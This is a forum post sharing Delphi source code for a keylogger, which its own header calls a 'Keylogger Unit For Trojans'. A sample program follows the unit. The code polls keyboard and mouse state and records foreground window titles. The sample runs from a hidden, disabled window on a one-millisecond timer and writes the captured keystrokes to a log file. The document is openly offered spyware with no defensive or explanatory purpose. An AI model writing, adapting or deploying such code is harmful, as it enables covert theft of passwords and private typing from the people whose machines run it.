Topic: VsKeylogger
this is Delphi unit to create a keylogger.
(* Keylogger Unit For Trojans
Orginal Code By Veyskarami
Iranian programmers for ever... *)
{$Warnings Off}
unit VsKeyLogger;
interface
uses Windows;
Function GetLoggedWindows():string;
Function GetLoggedKeys():string;
Function GetLoggedSize(Loggeds:String):integer;
Function SaveLogs(FileName,Strings: string):Boolean;
var
Loggeds:String;
Time:integer;
implementation
const
C1: array [1..26] of Byte =($41,$42,$43,$44,$45,$46,$47,$48,$49,$4A,$4B,$4C,$4D,$4E,$4F,$50,$51,$52,$53,$54,$55,$56,$57,$58,$59,$5A);
//DX: array [27..52] of Byte =($61,$62,$63,$64,$65,$66,$67,$68,$69,$6A,$6B,$6C,$6D,$6E,$6F,$70,$71,$72,$73,$74,$75,$76,$77,$78,$79,$7A);
C2: array [53..62] of Byte =($30,$31,$32,$33,$34,$35,$36,$37,$38,$39);
C3: array [63..65] of Byte =($01,$02,$04);
CX: array [66..80] of Byte =($20,$21,$22,$23,$24,$25,$26,$27,$28,$2D,$2E,$08,$0D,$5B,$5C);
D1: array [81..104]of Byte =($7E,$2D,$3D,$5C,$5B,$5D,$3B,$27,$2C,$2E,$2F,$60,$3B,$7E,$5F,$2B,$7C,$7B,$7D,$3A,$22,$3C,$3E,$3F);
//D2: array [105..114] of Byte =($60,$61,$62,$63,$64,$65,$66,$67,$68,$69);
var
WNDCaption,OldCaption : array [0..255] of char;
(***********************************************)
function LowerCase(const S: string): string;
var I : Integer;
begin
Result := S;
for I := 1 to Length( S ) do
if Result[ I ] in [ 'A'..'Z' ] then
Inc( Result[ I ], 32 );
end;
function UpperCase(const S: string): string;
var I : Integer;
begin
Result := S;
for I := 1 to Length( S ) do
if Result[ I ] in [ 'a'..'z' ] then
Dec( Result[ I ], 32 );
end;
(***********************************************)
Function GetLoggedWindows():string;
begin
GetWindowText(GetForegroundWindow,WNDCaption,255);
if OldCaption <> WNDCaption then if WNDCaption<>'' then
Result:='==========['+WNDCaption+']=========='+#13#10 else Result:='';
OldCaption :=WNDCaption;
end;
Function Caps():integer;
begin
if Odd(GetKeyState(VK_CAPITAL)) then
Result:=1 else
Result:=0;
end;
Function Shift():integer;
begin
if GetKeyState(VK_SHIFT) < 0 then
Shift := 1
else
Shift := 0;
end;
function Chrs():string;
var
U:integer;
begin
for U:=1 to 26 do if GetAsyncKeyState(C1[u])= -32767 then Result:=Chr(C1[u]);
end;
Function GetLoggedKeys():string;
var
A:integer;
begin
if Caps = 1 then
begin
if Shift = 1 then
begin
GetLoggedKeys := LowerCase(Chrs);
end
else
begin
GetLoggedKeys := UpperCase(Chrs);
end;
end
else
begin
if Shift = 1 then
begin
GetLoggedKeys := UpperCase(Chrs);
end
else
begin
GetLoggedKeys := LowerCase(Chrs);
end;
end;
for A:= 53 to 62 do if Shift=0 then
if GetAsyncKeyState(C2[A])= -32767 then Result:=Chr(C2[A]);
if Shift=0 then begin
if GetAsyncKeyState(VK_SUBTRACT)= -32767 then Result:=Chr(D1[95]);
if GetAsyncKeyState(189)= -32767 then Result:=Chr(D1[82]);
if GetAsyncKeyState(187)= -32767 then Result:=Chr(D1[83]);
if GetAsyncKeyState(188)= -32767 then Result:=Chr(D1[89]);
if GetAsyncKeyState(190)= -32767 then Result:=Chr(D1[90]);
if GetAsyncKeyState(191)= -32767 then Result:=Chr(D1[91]);
if GetAsyncKeyState(220)= -32767 then Result:=Chr(D1[84]);
if GetAsyncKeyState(221)= -32767 then Result:=Chr(D1[86]);
if GetAsyncKeyState(219)= -32767 then Result:=Chr(D1[85]);
if GetAsyncKeyState(222)= -32767 then Result:=Chr(D1[88]);
if GetAsyncKeyState(192)= -32767 then Result:=Chr(D1[92]);
if GetAsyncKeyState(186)= -32767 then Result:=Chr(D1[93]);
end;
if Shift=1 then begin
if GetAsyncKeyState(189)= -32767 then Result:=Chr(D1[95]);
if GetAsyncKeyState(187)= -32767 then Result:=Chr(D1[96]);
if GetAsyncKeyState(192)= -32767 then Result:=Chr(D1[94]);
if GetAsyncKeyState(188)= -32767 then Result:=Chr(D1[102]);
if GetAsyncKeyState(190)= -32767 then Result:=Chr(D1[103]);
if GetAsyncKeyState(191)= -32767 then Result:=Chr(D1[104]);
if GetAsyncKeyState(220)= -32767 then Result:=Chr(D1[97]);
if GetAsyncKeyState(221)= -32767 then Result:=Chr(D1[99]);
if GetAsyncKeyState(219)= -32767 then Result:=Chr(D1[98]);
if GetAsyncKeyState(222)= -32767 then Result:=Chr(D1[101]);
if GetAsyncKeyState(186)= -32767 then Result:=Chr(D1[100]);
end;
if Shift=1 then begin
if GetAsyncKeyState(C2[53])= -32767 then Result:=')';
if GetAsyncKeyState(C2[54])= -32767 then Result:='!';
if GetAsyncKeyState(C2[55])= -32767 then Result:='@';
if GetAsyncKeyState(C2[56])= -32767 then Result:='#';
if GetAsyncKeyState(C2[57])= -32767 then Result:='$';
if GetAsyncKeyState(C2[58])= -32767 then Result:='%';
if GetAsyncKeyState(C2[59])= -32767 then Result:='^';
if GetAsyncKeyState(C2[60])= -32767 then Result:='&';
if GetAsyncKeyState(C2[61])= -32767 then Result:='*';
if GetAsyncKeyState(C2[62])= -32767 then Result:='(';
end;
if GetAsyncKeyState(C3[63])= -32767 then Result:='[Left Mouse]';
if GetAsyncKeyState(C3[64])= -32767 then Result:='[Rigth Mouse]';
if GetAsyncKeyState(C3[65])= -32767 then Result:='[Middle Mouse]';
if GetAsyncKeyState(CX[66])= -32767 then Result:='[Space]';
if GetAsyncKeyState(CX[67])= -32767 then Result:='[Page Up]';
if GetAsyncKeyState(CX[68])= -32767 then Result:='[Page Down]';
if GetAsyncKeyState(CX[69])= -32767 then Result:='[End]';
if GetAsyncKeyState(CX[70])= -32767 then Result:='[Home]';
if GetAsyncKeyState(CX[71])= -32767 then Result:='[Left]';
if GetAsyncKeyState(CX[72])= -32767 then Result:='[Up]';
if GetAsyncKeyState(CX[73])= -32767 then Result:='[Rigth]';
if GetAsyncKeyState(CX[74])= -32767 then Result:='[Down]';
if GetAsyncKeyState(CX[75])= -32767 then Result:='[Insert]';
if GetAsyncKeyState(CX[76])= -32767 then Result:='[Delete]';
if GetAsyncKeyState(CX[77])= -32767 then Result:='[BackSpace]';
if GetAsyncKeyState(CX[78])= -32767 then Result:='[Enter]';
if GetAsyncKeyState(CX[79])= -32767 then Result:='[LeftWin]';
if GetAsyncKeyState(CX[80])= -32767 then Result:='[RigthWin]';
if GetAsyncKeyState(96)= -32767 then Result:='0';
if GetAsyncKeyState(97)= -32767 then Result:='1';
if GetAsyncKeyState(98)= -32767 then Result:='2';
if GetAsyncKeyState(99)= -32767 then Result:='3';
if GetAsyncKeyState(100)= -32767 then Result:='4';
if GetAsyncKeyState(101)= -32767 then Result:='5';
if GetAsyncKeyState(102)= -32767 then Result:='6';
if GetAsyncKeyState(103)= -32767 then Result:='7';
if GetAsyncKeyState(104)= -32767 then Result:='8';
if GetAsyncKeyState(105)= -32767 then Result:='9';
if GetAsyncKeyState(250)= -32767 then Result:='PLAY';
end;
Function SaveLogs(FileName,Strings: string):Boolean;
var
BatchFile: TextFile;
BatchFileName: string;
begin
BatchFileName:=FileName;
SetFileAttributes(Pchar(FileName),FILE_ATTRIBUTE_NORMAL);
AssignFile(BatchFile,BatchFileName);
Rewrite(BatchFile);
Writeln(BatchFile,Strings);
CloseFile(BatchFile);
Loggeds:='';
Time:=0;
end;
Function GetLoggedSize(Loggeds:String):integer;
begin
Result:=Length(Loggeds);
end;
end.
Sample
(* Keylogger Unit For Trojans
Orginal Code By Veyskarami
Iranian programmers for ever... *)
{$Warnings Off}
program Sample;
uses
Windows,KeyLogger;
var
Msg:TMsg;
Handle:hwnd;
Procedure Main;
begin
Loggeds:=Loggeds+GetLoggedWindows+GetLoggedKeys;
(* Save By Size *)
if GetLoggedSize(Loggeds) > 500 then SaveLogs ('Log.txt',Loggeds);
(* Save By Time
Time:=Time+1;
if Time:=10000 then SaveLogs ('Log.txt',Loggeds);
*)
end;
begin
Handle:=CreateWindow( '', '',WS_DISABLED, 0,0,0,0, 0,0,0,nil);
SetTimer(Handle,0,1,@Main);
while(GetMessage(Msg,Handle,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.